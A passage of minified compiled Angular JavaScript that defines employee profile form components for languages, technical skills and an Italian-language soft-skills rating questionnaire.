"),y.Cb(3),y.nc("items",a.options.languagesLevelOpt)("ngClass",y.rc(31,xe,a.validateField("lang_parlato",n,a.isInEdit))),y.Cb(3),y.Kc("",y.ic(27,25,"Scritto")," "),y.Cb(3),y.nc("items",a.options.languagesLevelOpt)("ngClass",y.rc(33,xe,a.validateField("lang_scritto",n,a.isInEdit))),y.Cb(3),y.Kc("",y.ic(33,27,"Note")," "),y.Cb(3),y.nc("ngClass",y.rc(35,ze,a.validateField("lang_note",n,a.isInEdit)))}}var ke,we=function(e){return["row",e]},Fe=((ke=function(e){t(o,e);var i=n(o);function o(e){return s(this,o),i.call(this,e,"FormArray",!0)}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({lang_language:[null],lang_parlato:[null],lang_scritto:[null],lang_note:[null]})}},{key:"setFlag",value:function(e){var t="";return e.flag&&(t=e.flag.toLowerCase()),t}}]),o}(ee.a)).\u0275fac=function(e){return new(e||ke)(y.Pb(g.e))},ke.\u0275cmp=y.Jb({type:ke,selectors:[["app-employee-view-edit-lingue"]],features:[y.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[3,"class",4,"ngIf"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["bindLabel","name","placeholder","","formControlName","lang_language",3,"items","ngClass","addTag","addTagText","change"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_parlato",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_scritto",3,"items","ngClass"],["formControlName","lang_note","autosize","","placeholder","",3,"ngClass"],[1,"form-group__bar"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",3),y.Vb(6,"div",4),y.Vb(7,"accordion",5),y.Gc(8,Oe,38,37,"accordion-group",6),y.Ub(),y.Ub(),y.Vb(9,"div",7),y.Qb(10,"br"),y.Vb(11,"a",8),y.cc("click",function(){return t.addItem()}),y.Qb(12,"i",9),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"a",10),y.cc("click",function(){return t.removeEmpty(t._form)}),y.Qb(16,"i",11),y.Ic(17),y.hc(18,"translate"),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,6,"Lingue")," "),y.Cb(2),y.nc("ngClass",y.rc(12,we,t.rowStyle)),y.Cb(3),y.nc("ngForOf",t._form.controls),y.Cb(1),y.nc("hidden",!t._isInEdit),y.Cb(4),y.Kc("",y.ic(14,8,"Aggiungi Lingua")," "),y.Cb(4),y.Kc("",y.ic(18,10,"Rimuovi Lingue Vuote")," "))},directives:[I.l,ue.a,I.m,ue.c,I.n,g.o,g.i,z.a,g.n,g.g,g.c,m.a],pipes:[k.c,I.k],styles:[""]}),ke),Ee=a("jLjo"),Se=["skillsSelector"];function Qe(e,t){1&e&&y.Qb(0,"i"),2&e&&y.Fb("zmdi zmdi-",t.index<t.value?"favorite":"favorite-outline","")}var Ae=function(e){return["form-control","border-select",e]},Le=function(){return["one","two","three","four","five"]};function Te(e,t){if(1&e){var i=y.Wb();y.Vb(0,"accordion-group",12),y.Vb(1,"button",13),y.Vb(2,"div",14),y.Ic(3),y.Ub(),y.Vb(4,"div",15),y.Vb(5,"span",16),y.Qb(6,"i",17),y.Ub(),y.Vb(7,"span",18),y.cc("click",function(){y.Ac(i);var e=t.index;return y.gc()._form.removeAt(e)}),y.Qb(8,"i",19),y.Ub(),y.Ub(),y.Ub(),y.Vb(9,"div",20),y.Vb(10,"div",21),y.Vb(11,"h3",22),y.Ic(12),y.hc(13,"translate"),y.Ub(),y.Vb(14,"div",6),y.Qb(15,"ng-select",23),y.Ub(),y.Ub(),y.Vb(16,"div",21),y.Vb(17,"h3",22),y.Ic(18),y.hc(19,"translate"),y.Ub(),y.Vb(20,"div",6),y.Qb(21,"ng-select",24),y.Ub(),y.Ub(),y.Vb(22,"div",21),y.Vb(23,"h3",22),y.Ic(24),y.hc(25,"translate"),y.Ub(),y.Vb(26,"div",6),y.Qb(27,"ng-select",25),y.Ub(),y.Ub(),y.Vb(28,"div",21),y.Vb(29,"h3",22),y.Ic(30),y.hc(31,"translate"),y.Ub(),y.Vb(32,"div",6),y.Qb(33,"ng-select",26),y.Ub(),y.Ub(),y.Vb(34,"div",21),y.Vb(35,"h3",22),y.Ic(36),y.hc(37,"translate"),y.Ub(),y.Vb(38,"div",6),y.Qb(39,"rating",27),y.Ub(),y.Ub(),y.Vb(40,"div",21),y.Vb(41,"h3",22),y.Ic(42),y.hc(43,"translate"),y.Ub(),y.Vb(44,"div",6),y.Vb(45,"rating",28),y.Gc(46,Qe,1,3,"ng-template",null,29,y.Hc),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()}if(2&e){var n=t.$implicit,o=y.xc(47),a=y.gc();y.Cb(3),y.Kc(" ",n.controls.skill.value," "),y.Cb(4),y.nc("hidden",!a._isInEdit),y.Cb(2),y.nc("formGroup",n),y.Cb(3),y.Kc("",y.ic(13,26,"Industry")," "),y.Cb(3),y.nc("items",a.options.industryListOpt)("ngClass",y.rc(38,Ae,a.validateField("industry",n,a.isInEdit))),y.Cb(3),y.Kc("",y.ic(19,28,"Macro Area")," "),y.Cb(3),y.nc("items",a.options.macroAreaListOpt)("ngClass",y.rc(40,Ae,a.validateField("macro_area",n,a.isInEdit))),y.Cb(3),y.Kc("",y.ic(25,30,"Categoria")," "),y.Cb(3),y.nc("items",a.options.categoriesOptions)("ngClass",y.rc(42,Ae,a.validateField("category_padre",n,a.isInEdit))),y.Cb(3),y.Kc("",y.ic(31,32,"Sottocategoria")," "),y.Cb(3),y.nc("items",a.options.subCategoriesOptions)("ngClass",y.rc(44,Ae,a.validateField("category_figlio",n,a.isInEdit))),y.Cb(3),y.Kc("",y.ic(37,34,"Rating")," "),y.Cb(3),y.nc("readonly",!a._isInEdit)("max",5)("required",!0)("titles",y.qc(46,Le)),y.Cb(3),y.Kc("",y.ic(43,36,"Esperienza")," "),y.Cb(3),y.nc("readonly",!a._isInEdit)("max",5)("required",!0)("titles",y.qc(47,Le))("customTemplate",o)}}var Pe,Me,Ne=function(e){return["row",e]},Ke=function(){return["form-control","border-select"]},qe=((Pe=function(e){t(o,e);var i=n(o);function o(e){return s(this,o),i.call(this,e,"FormArray",!0)}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({industry:[null],macro_area:[null],category_padre:[null],category_figlio:[null],skill:[null],rating:[null],validated_rating:[null]})}},{key:"insertSkill",value:function(e){if(e&&e.name){var t=this.newInnerFormItem;t.controls.macro_area.setValue(e.id_macro_area),t.controls.category_padre.setValue(e.category_parent_id),t.controls.category_figlio.setValue(e.category_id),t.controls.skill.setValue(e.name),this._form.push(t),this.skillsSelector.handleClearClick()}}}]),o}(ee.a)).\u0275fac=function(e){return new(e||Pe)(y.Pb(g.e))},Pe.\u0275cmp=y.Jb({type:Pe,selectors:[["app-employee-view-edit-skills"]],viewQuery:function(e,t){var i;1&e&&y.Mc(Se,1),2&e&&y.wc(i=y.dc())&&(t.skillsSelector=i.first)},features:[y.zb],decls:17,vars:19,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"col-md-12","pl-1"],[1,"form-group"],["bindLabel","name",3,"items","placeholder","readonly","ngClass","addTag","addTagText","change"],["skillsSelector",""],[1,"row"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],["bindLabel","name","bindValue","name","placeholder","","formControlName","industry",3,"items","ngClass"],["bindLabel","name","bindValue","id_macroarea","placeholder","","formControlName","macro_area",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_padre",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_figlio",3,"items","ngClass"],["formControlName","rating","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","validated_rating","fullIcon","\u2764","emptyIcon","\uf90d",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles","customTemplate"],["ratingTemplateExperienceSkills",""]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",3),y.Vb(6,"div",4),y.Vb(7,"div",5),y.Vb(8,"div",6),y.Vb(9,"ng-select",7,8),y.cc("change",function(e){return t.insertSkill(e)}),y.hc(11,"translate"),y.hc(12,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(13,"div",9),y.Vb(14,"div",4),y.Vb(15,"accordion",10),y.Gc(16,Te,48,48,"accordion-group",11),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,10,"Skills")," "),y.Cb(2),y.nc("ngClass",y.rc(16,Ne,t.rowStyle)),y.Cb(4),y.oc("placeholder",y.ic(11,12,"Seleziona Skills")),y.nc("items",t.options.skillsOptions)("readonly",!t._isInEdit)("ngClass",y.qc(18,Ke))("addTag",!0)("addTagText",y.ic(12,14,"Premi invio per aggiungere il nuovo valore")),y.Cb(6),y.nc("closeOthers","true"),y.Cb(1),y.nc("ngForOf",t._form.controls))},directives:[I.l,z.a,ue.a,I.m,ue.c,g.o,g.i,g.n,g.g,Ee.a,g.u],pipes:[k.c],styles:[""]}),Pe),je=function(e){return[e]},Je=function(){return["one","two","three","four","five","six"]},Ge=((Me=function(e){t(o,e);var i=n(o);function o(e){return s(this,o),i.call(this,e,"FormGroup")}return d(o,[{key:"newInnerFormItem",get:function(){return this.fb.group({orientamentoRisultatoOne:[null],orientamentoRisultatoTwo:[null],problemSolvingOne:[null],problemSolvingTwo:[null],problemSolvingTree:[null],orientamentoQualitaOne:[null],orientamentoQualitaTwo:[null],orientamentoQualitaTree:[null],orientamentoClienteOne:[null],orientamentoClienteTwo:[null],orientamentoClienteTree:[null],comunicazioneOne:[null],comunicazioneTwo:[null],comunicazioneTree:[null],adattabilitaCambiamentoOne:[null],adattabilitaCambiamentoTwo:[null],adattabilitaCambiamentoTree:[null],teamWorkingOne:[null],teamWorkingTwo:[null],teamWorkingTree:[null]})}}]),o}(ee.a)).\u0275fac=function(e){return new(e||Me)(y.Pb(g.e))},Me.\u0275cmp=y.Jb({type:Me,selectors:[["app-employee-view-edit-soft-skills"]],features:[y.zb],decls:201,vars:188,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"formGroup","ngClass"],[1,"row","my-4"],[1,"col-md-12"],[1,"card-title"],[1,"row"],[1,"col-md-8"],[1,"card-body__title","mt-3"],[1,"col-md-4","text-center"],[1,"form-group"],["formControlName","orientamentoRisultatoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoRisultatoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","problemSolvingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoQualitaTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","orientamentoClienteTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","comunicazioneTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","adattabilitaCambiamentoTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"],["formControlName","teamWorkingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"readonly","max","required","titles"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"h4",2),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"form",3),y.Vb(6,"div",4),y.Vb(7,"div",5),y.Vb(8,"h5",6),y.Ic(9),y.hc(10,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(11,"div",7),y.Vb(12,"div",8),y.Vb(13,"h6",9),y.Ic(14),y.hc(15,"translate"),y.Ub(),y.Ub(),y.Vb(16,"div",10),y.Vb(17,"div",11),y.Qb(18,"rating",12),y.Ub(),y.Ub(),y.Ub(),y.Vb(19,"div",7),y.Vb(20,"div",8),y.Vb(21,"h6",9),y.Ic(22),y.hc(23,"translate"),y.Ub(),y.Ub(),y.Vb(24,"div",10),y.Vb(25,"div",11),y.Qb(26,"rating",13),y.Ub(),y.Ub(),y.Ub(),y.Vb(27,"div",4),y.Vb(28,"div",5),y.Vb(29,"h5",6),y.Ic(30),y.hc(31,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(32,"div",7),y.Vb(33,"div",8),y.Vb(34,"h6",9),y.Ic(35),y.hc(36,"translate"),y.Ub(),y.Ub(),y.Vb(37,"div",10),y.Vb(38,"div",11),y.Qb(39,"rating",14),y.Ub(),y.Ub(),y.Ub(),y.Vb(40,"div",7),y.Vb(41,"div",8),y.Vb(42,"h6",9),y.Ic(43),y.hc(44,"translate"),y.Ub(),y.Ub(),y.Vb(45,"div",10),y.Vb(46,"div",11),y.Qb(47,"rating",15),y.Ub(),y.Ub(),y.Ub(),y.Vb(48,"div",7),y.Vb(49,"div",8),y.Vb(50,"h6",9),y.Ic(51),y.hc(52,"translate"),y.Ub(),y.Ub(),y.Vb(53,"div",10),y.Vb(54,"div",11),y.Qb(55,"rating",16),y.Ub(),y.Ub(),y.Ub(),y.Vb(56,"div",4),y.Vb(57,"div",5),y.Vb(58,"h5",6),y.Ic(59),y.hc(60,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(61,"div",7),y.Vb(62,"div",8),y.Vb(63,"h6",9),y.Ic(64),y.hc(65,"translate"),y.Ub(),y.Ub(),y.Vb(66,"div",10),y.Vb(67,"div",11),y.Qb(68,"rating",17),y.Ub(),y.Ub(),y.Ub(),y.Vb(69,"div",7),y.Vb(70,"div",8),y.Vb(71,"h6",9),y.Ic(72),y.hc(73,"translate"),y.Ub(),y.Ub(),y.Vb(74,"div",10),y.Vb(75,"div",11),y.Qb(76,"rating",18),y.Ub(),y.Ub(),y.Ub(),y.Vb(77,"div",7),y.Vb(78,"div",8),y.Vb(79,"h6",9),y.Ic(80),y.hc(81,"translate"),y.Ub(),y.Ub(),y.Vb(82,"div",10),y.Vb(83,"div",11),y.Qb(84,"rating",19),y.Ub(),y.Ub(),y.Ub(),y.Vb(85,"div",4),y.Vb(86,"div",5),y.Vb(87,"h5",6),y.Ic(88),y.hc(89,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(90,"div",7),y.Vb(91,"div",8),y.Vb(92,"h6",9),y.Ic(93),y.hc(94,"translate"),y.Ub(),y.Ub(),y.Vb(95,"div",10),y.Vb(96,"div",11),y.Qb(97,"rating",20),y.Ub(),y.Ub(),y.Ub(),y.Vb(98,"div",7),y.Vb(99,"div",8),y.Vb(100,"h6",9),y.Ic(101),y.hc(102,"translate"),y.Ub(),y.Ub(),y.Vb(103,"div",10),y.Vb(104,"div",11),y.Qb(105,"rating",21),y.Ub(),y.Ub(),y.Ub(),y.Vb(106,"div",7),y.Vb(107,"div",8),y.Vb(108,"h6",9),y.Ic(109),y.hc(110,"translate"),y.Ub(),y.Ub(),y.Vb(111,"div",10),y.Vb(112,"div",11),y.Qb(113,"rating",22),y.Ub(),y.Ub(),y.Ub(),y.Vb(114,"div",4),y.Vb(115,"div",5),y.Vb(116,"h5",6),y.Ic(117),y.hc(118,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(119,"div",7),y.Vb(120,"div",8),y.Vb(121,"h6",9),y.Ic(122),y.hc(123,"translate"),y.Ub(),y.Ub(),y.Vb(124,"div",10),y.Vb(125,"div",11),y.Qb(126,"rating",23),y.Ub(),y.Ub(),y.Ub(),y.Vb(127,"div",7),y.Vb(128,"div",8),y.Vb(129,"h6",9),y.Ic(130),y.hc(131,"translate"),y.Ub(),y.Ub(),y.Vb(132,"div",10),y.Vb(133,"div",11),y.Qb(134,"rating",24),y.Ub(),y.Ub(),y.Ub(),y.Vb(135,"div",7),y.Vb(136,"div",8),y.Vb(137,"h6",9),y.Ic(138),y.hc(139,"translate"),y.Ub(),y.Ub(),y.Vb(140,"div",10),y.Vb(141,"div",11),y.Qb(142,"rating",25),y.Ub(),y.Ub(),y.Ub(),y.Vb(143,"div",4),y.Vb(144,"div",5),y.Vb(145,"h5",6),y.Ic(146),y.hc(147,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(148,"div",7),y.Vb(149,"div",8),y.Vb(150,"h6",9),y.Ic(151),y.hc(152,"translate"),y.Ub(),y.Ub(),y.Vb(153,"div",10),y.Vb(154,"div",11),y.Qb(155,"rating",26),y.Ub(),y.Ub(),y.Ub(),y.Vb(156,"div",7),y.Vb(157,"div",8),y.Vb(158,"h6",9),y.Ic(159),y.hc(160,"translate"),y.Ub(),y.Ub(),y.Vb(161,"div",10),y.Vb(162,"div",11),y.Qb(163,"rating",27),y.Ub(),y.Ub(),y.Ub(),y.Vb(164,"div",7),y.Vb(165,"div",8),y.Vb(166,"h6",9),y.Ic(167),y.hc(168,"translate"),y.Ub(),y.Ub(),y.Vb(169,"div",10),y.Vb(170,"div",11),y.Qb(171,"rating",28),y.Ub(),y.Ub(),y.Ub(),y.Vb(172,"div",4),y.Vb(173,"div",5),y.Vb(174,"h5",6),y.Ic(175),y.hc(176,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(177,"div",7),y.Vb(178,"div",8),y.Vb(179,"h6",9),y.Ic(180),y.hc(181,"translate"),y.Ub(),y.Ub(),y.Vb(182,"div",10),y.Vb(183,"div",11),y.Qb(184,"rating",29),y.Ub(),y.Ub(),y.Ub(),y.Vb(185,"div",7),y.Vb(186,"div",8),y.Vb(187,"h6",9),y.Ic(188),y.hc(189,"translate"),y.Ub(),y.Ub(),y.Vb(190,"div",10),y.Vb(191,"div",11),y.Qb(192,"rating",30),y.Ub(),y.Ub(),y.Ub(),y.Vb(193,"div",7),y.Vb(194,"div",8),y.Vb(195,"h6",9),y.Ic(196),y.hc(197,"translate"),y.Ub(),y.Ub(),y.Vb(198,"div",10),y.Vb(199,"div",11),y.Qb(200,"rating",31),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(3),y.Kc(" ",y.ic(4,110,"Soft Skills")," "),y.Cb(2),y.nc("formGroup",t._form)("ngClass",y.rc(166,je,t.rowStyle)),y.Cb(4),y.Jc(y.ic(10,112,"ORIENTAMENTO AL RISULTATO")),y.Cb(5),y.Jc(y.ic(15,114,"Mantiene una forte focalizzazione sugli obiettivi assegnati, anche nelle difficolt\xe0.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(168,Je)),y.Cb(4),y.Jc(y.ic(23,116,"Persegue i risultati con impegno e determinazione anche in assenza di continua supervisione.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(169,Je)),y.Cb(4),y.Jc(y.ic(31,118,"PROBLEM SOLVING E ANALISI")),y.Cb(5),y.Jc(y.ic(36,120,"Fornisce risposte rapide e appropriate di fronte a difficolt\xe0 o situazioni complesse.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(170,Je)),y.Cb(4),y.Jc(y.ic(44,122,"Quando affronta problemi nuovi effettua una efficace analisi delle variabili in gioco.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(171,Je)),y.Cb(4),y.Jc(y.ic(52,124,"Anticipa i potenziali problemi, proponendo pro-attivamente soluzioni adeguate ed efficienti prima che essi si verifichino.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(172,Je)),y.Cb(4),y.Jc(y.ic(60,126,"ORIENTAMENTO ALLA QUALITA")),y.Cb(5),y.Jc(y.ic(65,128,"Presta molta attenzione ai dettagli delle informazioni disponibili.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(173,Je)),y.Cb(4),y.Jc(y.ic(73,130,"Si assicura che vengano seguite le procedure operative o tecniche.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(174,Je)),y.Cb(4),y.Jc(y.ic(81,132,"Verifica la qualit\xe0 e precisione del proprio lavoro.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(175,Je)),y.Cb(4),y.Jc(y.ic(89,134,"ORIENTAMENTO AL CLIENTE")),y.Cb(5),y.Jc(y.ic(94,136,"Identifica correttamente e soddisfa le esigenze del cliente.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(176,Je)),y.Cb(4),y.Jc(y.ic(102,138,"Anticipa le esigenze inespresse del cliente, consigliandolo sui potenziali bisogni che potrebbe non aver considerato.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(177,Je)),y.Cb(4),y.Jc(y.ic(110,140,"Si impegna in prima persona a risolvere i problemi e i reclami del cliente, applicando le opportune procedure di escalation quando necessario.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(178,Je)),y.Cb(4),y.Jc(y.ic(118,142,"COMUNICAZIONE")),y.Cb(5),y.Jc(y.ic(123,144,"Si esprime in modo chiaro e strutturato.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(179,Je)),y.Cb(4),y.Jc(y.ic(131,146,"Ascolta, si mette nei panni degli altri e mostra comprensione per le loro idee.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(180,Je)),y.Cb(4),y.Jc(y.ic(139,148,"Riesce ad essere assertivo e a difendere i propri punti di vista mantenendo un atteggiamento rispettoso verso le opinioni altrui.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(181,Je)),y.Cb(4),y.Jc(y.ic(147,150,"ADATTABILITA AL CAMBIAMENTO")),y.Cb(5),y.Jc(y.ic(152,152,"Accetta e si adatta rapidamente ai cambiamenti (di team, di progetto, di organizzazione).")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(182,Je)),y.Cb(4),y.Jc(y.ic(160,154,"Considera idee e approcci differenti integrandoli nel proprio agire quotidiano.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(183,Je)),y.Cb(4),y.Jc(y.ic(168,156,"Sa ricevere feedback e modificare opportunamente i propri comportamenti.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(184,Je)),y.Cb(4),y.Jc(y.ic(176,158,"TEAM WORKING")),y.Cb(5),y.Jc(y.ic(181,160,"Mostra un approccio collaborativo aiutando il team a risolvere i potenziali problemi.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(185,Je)),y.Cb(4),y.Jc(y.ic(189,162,"Supporta attivamente gli altri nell\u2019esecuzione degli incarichi assegnati al team.")),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(186,Je)),y.Cb(4),y.Kc("",y.ic(197,164,"Sa mostrare apprezzamento per i contributi e le idee altrui, partecipa attivamente alle attivit\xe0 di brainstorming del gruppo.")," "),y.Cb(4),y.nc("readonly",!t._isInEdit)("max",6)("required",!0)("titles",y.qc(187,Je)))},directives:[g.w,g.o,g.i,I.l,Ee.a,g.n,g.g,g.u],pipes:[k.c],styles:[""]}),Me);function De(e,t){if(1&e){var i=y.Wb();y.Vb(0,"span",39),y.cc("click",function(){y.Ac(i);var e=y.gc().index;return y.gc()._form.removeAt(e)}),y.Qb(1,"i",40),y.Ub()}if(2&e){var n=y.gc(2);y.nc("hidden",!n._isInEdit)}}var Re=function(e){return["form-control",e]},We=function(e){return["form-control","border-select",e]};function $e(e,t){if(1&e&&(y.Vb(0,"accordion-group",12),y.Vb(1,"button",13),y.Vb(2,"div",14),y.Ic(3),y.hc(4,"translate"),y.Ub(),y.Vb(5,"div",15),y.Vb(6,"span",16),y.Qb(7,"i",17),y.Ub(),y.Gc(8,De,2,1,"span",18),y.Ub(),y.Ub(),y.Vb(9,"div",19),y.Vb(10,"div",20),y.Vb(11,"div",21),y.Vb(12,"h3",22),y.Ic(13),y.hc(14,"translate"),y.Ub(),y.Vb(15,"div",23),y.Vb(16,"div",24),y.Qb(17,"input",25),y.Qb(18,"i",26),y.Ub(),y.Ub(),y.Qb(19,"i",27),y.Ub(),y.Ub(),y.Vb(20,"div",20),y.Vb(21,"div",21),y.Vb(22,"h3",22),y.Ic(23),y.hc(24,"translate"),y.Ub(),y.Vb(25,"div",23),y.Vb(26,"div",24),y.Qb(27,"input",28),y.Qb(28,"i",26),y.Ub(),y.Ub(),y.Qb(29,"i",27),y.Ub(),y.Ub(),y.Vb(30,"div",29),y.Vb(31,"h3",30),y.Ic(32),y.hc(33,"translate"),y.Ub(),y.Vb(34,"div",21),y.Qb(35,"input",31),y.Qb(36,"i",27),y.Vb(37,"div",32),y.Ic(38),y.hc(39,"translate"),y.Ub(),y.Ub(),y.Ub(),y.Vb(40,"div",29),y.Vb(41,"h3",30),y.Ic(42),y.hc(43,"translate"),y.Ub(),y.Vb(44,"div",21),y.Vb(45,"app-datetime-manager",33),y.cc("modelChange",function(e){return 